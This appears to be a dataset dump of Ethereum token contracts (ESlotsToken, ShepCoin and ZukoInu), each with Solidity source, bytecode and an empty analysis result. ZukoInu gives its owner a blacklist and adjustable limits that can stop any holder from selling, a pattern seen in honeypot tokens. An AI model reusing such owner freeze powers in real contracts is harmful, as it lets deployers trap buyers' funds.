/** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/ESlotsToken.sol /** * @title eSlotsToken * @dev See more info https://eslots.io */ contract ESlotsToken is Ownable, StandardToken, ESlotsICOToken { event Burn(address indexed burner, uint256 value); enum State { ActiveICO, CompletedICO } State public state; uint256 public constant INITIAL_SUPPLY = 50000000 * (10 ** uint256(decimals)); address founders = 0x7b97B31E12f7d029769c53cB91c83d29611A4F7A; uint256 public constant foundersStake = 10; //10% to founders uint256 public constant dividendRoundsBeforeFoundersStakeUnlock = 4; uint256 maxFoundersTokens; uint256 tokensToSale; uint256 transferGASUsage; /** * @dev Constructor that gives msg.sender all of existing tokens. */ function ESlotsToken() public { totalSupply_ = INITIAL_SUPPLY; maxFoundersTokens = INITIAL_SUPPLY.mul(foundersStake).div(100); tokensToSale = INITIAL_SUPPLY - maxFoundersTokens; balances[msg.sender] = tokensToSale; Transfer(0x0, msg.sender, balances[msg.sender]); state = State.ActiveICO; transferGASUsage = 21000; } function maxTokensToSale() public view returns (uint256) { return tokensToSale; } function availableTokens() public view returns (uint256) { return balances[owner]; } function setGasUsage(uint256 newGasUsage) public onlyOwner { transferGASUsage = newGasUsage; } //run it after ESlotsCrowdsale contract is deployed to approve token spending function connectCrowdsaleContract(address crowdsaleContract) public onlyOwner { approve(crowdsaleContract, balances[owner]); } //burn unsold tokens function completeICO() public onlyOwner { require(state == State.ActiveICO); state = State.CompletedICO; uint256 soldTokens = tokensToSale.sub(balances[owner]); uint256 foundersTokens = soldTokens.mul(foundersStake).div(100); if(foundersTokens > maxFoundersTokens) { //normally we never reach this point foundersTokens = maxFoundersTokens; } BasicToken.transfer(founders, foundersTokens); totalSupply_ = soldTokens.add(foundersTokens); balances[owner] = 0; Burn(msg.sender, INITIAL_SUPPLY.sub(totalSupply_)); } //handle dividends function transfer(address _to, uint256 _value) public returns (bool) { if(msg.sender == founders) { //lock operation with tokens for founders require(totalDividendsAmount > 0 && totalDividendsRounds > dividendRoundsBeforeFoundersStakeUnlock); } //transfer is allowed only then all dividends are claimed require(payedDividends[msg.sender] == totalDividendsAmount); require(balances[_to] == 0 || payedDividends[_to] == totalDividendsAmount); bool res = BasicToken.transfer(_to, _value); if(res && payedDividends[_to] != totalDividendsAmount) { payedDividends[_to] = totalDividendsAmount; } return res; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if(msg.sender == founders) { //lock operation with tokens for founders require(totalDividendsAmount > 0 && totalDividendsRounds > dividendRoundsBeforeFoundersStakeUnlock); } //transfer is allowed only then all dividends are claimed require(payedDividends[_from] == totalDividendsAmount); require(balances[_to] == 0 || payedDividends[_to] == totalDividendsAmount); bool res = StandardToken.transferFrom(_from, _to, _value); if(res && payedDividends[_to] != totalDividendsAmount) { payedDividends[_to] = totalDividendsAmount; } return res; } //Dividends modifier onlyThenCompletedICO { require(state == State.CompletedICO); _; } function dividendsAmount(address investor) public onlyThenCompletedICO constant returns (uint256) { if(totalSupply_ == 0) {return 0;} if(balances[investor] == 0) {return 0;} if(payedDividends[investor] >= totalDividendsAmount) {return 0;} return (totalDividendsAmount - payedDividends[investor]).mul(balances[investor]).div(totalSupply_); } function claimDividends() payable public onlyThenCompletedICO { //gasUsage = 0 because a caller pays for that sendDividends(msg.sender, 0); } //force dividend payments if they hasn&#39;t been claimed by token holder before function pushDividends(address investor) payable public onlyThenCompletedICO { //because we pay for gas sendDividends(investor, transferGASUsage.mul(tx.gasprice)); } function sendDividends(address investor, uint256 gasUsage) internal { uint256 value = dividendsAmount(investor); require(value > gasUsage); payedDividends[investor] = totalDividendsAmount; totalUnPayedDividendsAmount = totalUnPayedDividendsAmount.sub(value); investor.transfer(value.sub(gasUsage)); ClaimDividends(investor, value); } function payDividends() payable public onlyThenCompletedICO { DividendContract.payDividends(); } }
0x6060604052600436106101745763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610179578063095ea7b31461020357806318160ddd1461023957806318ecc6f41461025e57806323b872dd146102715780632ff2e9dc14610299578063313ce567146102ac5780633d316134146102d557806349e4347b146102e85780634e3673a6146102fd578063661884631461031c578063668038e01461033e57806369bb4dc21461034657806370a08231146103595780637c796a83146103785780638da5cb5b1461038e57806395d89b41146103bd578063a4d904ba146103d0578063a9059cbb146103e3578063a991faf914610405578063c19d93fb14610418578063cbf4531d1461044f578063cfc2a93e1461046e578063d73dd62314610481578063dc97a4f9146104a3578063dcb951de146104b6578063dd62ed3e146104ca578063de88a342146104ef578063f2fde38b146104f7575b600080fd5b341561018457600080fd5b61018c610516565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101c85780820151838201526020016101b0565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020e57600080fd5b610225600160a060020a036004351660243561054d565b604051901515815260200160405180910390f35b341561024457600080fd5b61024c6105b9565b60405190815260200160405180910390f35b341561026957600080fd5b61024c6105bf565b341561027c57600080fd5b610225600160a060020a03600435811690602435166044356105c5565b34156102a457600080fd5b61024c6106d2565b34156102b757600080fd5b6102bf6106e1565b60405160ff909116815260200160405180910390f35b34156102e057600080fd5b61024c6106e6565b34156102f357600080fd5b6102fb6106ec565b005b341561030857600080fd5b6102fb600160a060020a036004351661083b565b341561032757600080fd5b610225600160a060020a036004351660243561087e565b6102fb61097a565b341561035157600080fd5b61024c6109a4565b341561036457600080fd5b61024c600160a060020a03600435166109c0565b341561038357600080fd5b6102fb6004356109df565b341561039957600080fd5b6103a16109ff565b604051600160a060020a03909116815260200160405180910390f35b34156103c857600080fd5b61018c610a0e565b34156103db57600080fd5b61024c610a45565b34156103ee57600080fd5b610225600160a060020a0360043516602435610a4a565b341561041057600080fd5b61024c610b55565b341561042357600080fd5b61042b610b5b565b6040518082600181111561043b57fe5b60ff16815260200191505060405180910390f35b341561045a57600080fd5b61024c600160a060020a0360043516610b64565b341561047957600080fd5b61024c610c2d565b341561048c57600080fd5b610225600160a060020a0360043516602435610c32565b34156104ae57600080fd5b61024c610cd6565b6102fb600160a060020a0360043516610cdc565b34156104d557600080fd5b61024c600160a060020a0360043581169060243516610d1a565b6102fb610d45565b341561050257600080fd5b6102fb600160a060020a0360043516610d6a565b60408051908101604052601b81527f457468657265756d20536c6f74204d616368696e6520546f6b656e0000000000602082015281565b600160a060020a03338116600081815260036020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60025490565b60055490565b600854600090819033600160a060020a039081166101009092041614156106055760006004541180156105fa57506004600554115b151561060557600080fd5b600454600160a060020a0386166000908152600760205260409020541461062b57600080fd5b600160a060020a03841660009081526001602052604090205415806106695750600454600160a060020a038516600090815260076020526040902054145b151561067457600080fd5b61067f858585610e05565b90508080156106a85750600454600160a060020a03851660009081526007602052604090205414155b156106ca57600454600160a060020a0385166000908152600760205260409020555b949350505050565b6a295be96e6406697200000081565b601281565b600a5490565b60008054819033600160a060020a0390811691161461070a57600080fd5b600060085460ff16600181111561071d57fe5b1461072757600080fd5b6008805460ff1916600190811790915560008054600160a060020a031681526020919091526040902054600a5461075d91610f87565b9150610781606461077584600a63ffffffff610f9916565b9063ffffffff610fc416565b905060095481111561079257506009545b6008546107ad906101009004600160a060020a031682610fdb565b506107be828263ffffffff6110d616565b600290815560008054600160a060020a03908116825260016020526040822091909155905433909116907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca590610826906a295be96e640669720000009063ffffffff610f8716565b60405190815260200160405180910390a25050565b60005433600160a060020a0390811691161461085657600080fd5b60008054600160a060020a031681526001602052604090205461087a90829061054d565b5050565b600160a060020a033381166000908152600360209081526040808320938616835292905290812054808311156108db57600160a060020a033381166000908152600360209081526040808320938816835292905290812055610912565b6108eb818463ffffffff610f8716565b600160a060020a033381166000908152600360209081526040808320938916835292905220555b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b600160085460ff16600181111561098d57fe5b1461099757600080fd5b6109a23360006110e5565b565b60008054600160a060020a031681526001602052604090205490565b600160a060020a0381166000908152600160205260409020545b919050565b60005433600160a060020a039081169116146109fa57600080fd5b600b55565b600054600160a060020a031681565b60408051908101604052600381527f4553540000000000000000000000000000000000000000000000000000000000602082015281565b600a81565b600854600090819033600160a060020a03908116610100909204161415610a8a576000600454118015610a7f57506004600554115b1515610a8a57600080fd5b600454600160a060020a03331660009081526007602052604090205414610ab057600080fd5b600160a060020a0384166000908152600160205260409020541580610aee5750600454600160a060020a038516600090815260076020526040902054145b1515610af957600080fd5b610b038484610fdb565b9050808015610b2c5750600454600160a060020a03851660009081526007602052604090205414155b15610b4e57600454600160a060020a0385166000908152600760205260409020555b9392505050565b60045490565b60085460ff1681565b6000600160085460ff166001811115610b7957fe5b14610b8357600080fd5b6002541515610b94575060006109da565b600160a060020a0382166000908152600160205260409020541515610bbb575060006109da565b600454600160a060020a03831660009081526007602052604090205410610be4575060006109da565b600254600160a060020a038316600090815260016020908152604080832054600790925290912054600454610c279392610775929091039063ffffffff610f9916565b92915050565b600481565b600160a060020a033381166000908152600360209081526040808320938616835292905290812054610c6a908363ffffffff6110d616565b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b60065490565b600160085460ff166001811115610cef57fe5b14610cf957600080fd5b610d1781610d123a600b54610f9990919063ffffffff16565b6110e5565b50565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b600160085460ff166001811115610d5857fe5b14610d6257600080fd5b6109a26111bb565b60005433600160a060020a03908116911614610d8557600080fd5b600160a060020a0381161515610d9a57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a0383161515610e1c57600080fd5b600160a060020a038416600090815260016020526040902054821115610e4157600080fd5b600160a060020a0380851660009081526003602090815260408083203390941683529290522054821115610e7457600080fd5b600160a060020a038416600090815260016020526040902054610e9d908363ffffffff610f8716565b600160a060020a038086166000908152600160205260408082209390935590851681522054610ed2908363ffffffff6110d616565b600160a060020a03808516600090815260016020908152604080832094909455878316825260038152838220339093168252919091522054610f1a908363ffffffff610f8716565b600160a060020a03808616600081815260036020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600082821115610f9357fe5b50900390565b600080831515610fac5760009150610973565b50828202828482811515610fbc57fe5b0414610b4e57fe5b6000808284811515610fd257fe5b04949350505050565b6000600160a060020a0383161515610ff257600080fd5b600160a060020a03331660009081526001602052604090205482111561101757600080fd5b600160a060020a033316600090815260016020526040902054611040908363ffffffff610f8716565b600160a060020a033381166000908152600160205260408082209390935590851681522054611075908363ffffffff6110d616565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600082820183811015610b4e57fe5b60006110f083610b64565b90508181116110fe57600080fd5b600454600160a060020a03841660009081526007602052604090205560065461112d908263ffffffff610f8716565b600655600160a060020a0383166108fc61114d838563ffffffff610f8716565b9081150290604051600060405180830381858888f19350505050151561117257600080fd5b7f07b1526e2f035ef911e77f3cf6560584097ade503cab29f5f26627567bb458338382604051600160a060020a03909216825260208201526040908101905180910390a1505050565b600034116111c857600080fd5b6004546111db903463ffffffff6110d616565b6004556006546111f1903463ffffffff6110d616565b60065560058054600101908190557f0a7e62da6c245712bbc5c4cbee420b13962754304bf2ad8d01c9ec4eab623f52903460405191825260208201526040908101905180910390a15600a165627a7a72305820e3afd42ae7d9aaa68a7d0ac8c6cc33e9b773ac453034367d4d5f0392d875beb00029
{"success": true, "error": null, "results": {}}
10,215
0xe434fe45cb7d1915febe230c128e3340451baa63
//SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); require(_totalSupply <= 1e25, "_totalSupply exceed hard limit"); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ShepCoin is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("ShepCoin", "SHEP", 18) { governance = msg.sender; addMinter(governance); // underlying _mint function has hard limit mint(governance, 1e25); } function mint(address account, uint amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function burn(uint256 amount) public { _burn(msg.sender, amount); } }
0x73e434fe45cb7d1915febe230c128e3340451baa6330146080604052600080fdfea265627a7a723158207ac8fe46341c1aa174b6d0402b31bb249f31438fe1fd00f5bf31afd6e633e54a64736f6c63430005110032
{"success": true, "error": null, "results": {}}
10,216
0x030F1D2b832f4CF6a9168Cc4Ac578d2316f1500b
/** *Submitted for verification at Etherscan.io on 2022-04-17 */ // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.12; // Part: Context abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } // Part: IERC20 interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // Part: IUniswapV2Factory interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } // Part: IUniswapV2Router02 interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } // Part: SafeMath library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } // Part: Ownable contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } // File: ZUKOINU.sol contract ZukoInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public isExcludedFromFee; mapping(address => bool) public isExcludedFromLimit; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public swapThreshold = 100_000_000 * 10**9; uint256 private _reflectionFee = 0; uint256 private _teamFee = 10; address payable private _feeAddrWallet1; string private constant _name = "Prince Zuko Inu"; string private constant _symbol = "ZUKO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap; bool private swapEnabled; bool private cooldownEnabled; uint256 private _maxTxAmount = 30_000_000_000 * 10**9; uint256 private _maxWalletAmount = 30_000_000_000 * 10**9; modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address wallet1) { _feeAddrWallet1 = payable(wallet1); _rOwned[_msgSender()] = _rTotal; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[_feeAddrWallet1] = true; isExcludedFromLimit[owner()] = true; isExcludedFromLimit[address(this)] = true; isExcludedFromLimit[address(0xdead)] = true; isExcludedFromLimit[_feeAddrWallet1] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require( balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance" ); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if ( !isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to]) ) { require( amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit" ); } if (!isExcludedFromLimit[to]) { require( balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit" ); } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled ) { // Cooldown require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold ) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); isExcludedFromLimit[address(uniswapV2Router)] = true; isExcludedFromLimit[uniswapV2Pair] = true; uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function changeMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount; } function changeMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount; } function changeSwapThreshold(uint256 amount) public onlyOwner { swapThreshold = amount; } function excludeFromFees(address account, bool excluded) public onlyOwner { isExcludedFromFee[account] = excluded; } function excludeFromLimits(address account, bool excluded) public onlyOwner { isExcludedFromLimit[account] = excluded; } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } else { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rReflect, tReflect); emit Transfer(sender, recipient, tTransferAmount); } } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { ( uint256 tTransferAmount, uint256 tReflect, uint256 tTeam ) = _getTValues(tAmount, _reflectionFee, _teamFee); uint256 currentRate = _getRate(); ( uint256 rAmount, uint256 rTransferAmount, uint256 rReflect ) = _getRValues(tAmount, tReflect, tTeam, currentRate); return ( rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam ); } function _getTValues( uint256 tAmount, uint256 reflectFee, uint256 teamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tReflect = tAmount.mul(reflectFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam); return (tTransferAmount, tReflect, tTeam); } function _getRValues( uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rReflect = tReflect.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam); return (rAmount, rTransferAmount, rReflect); 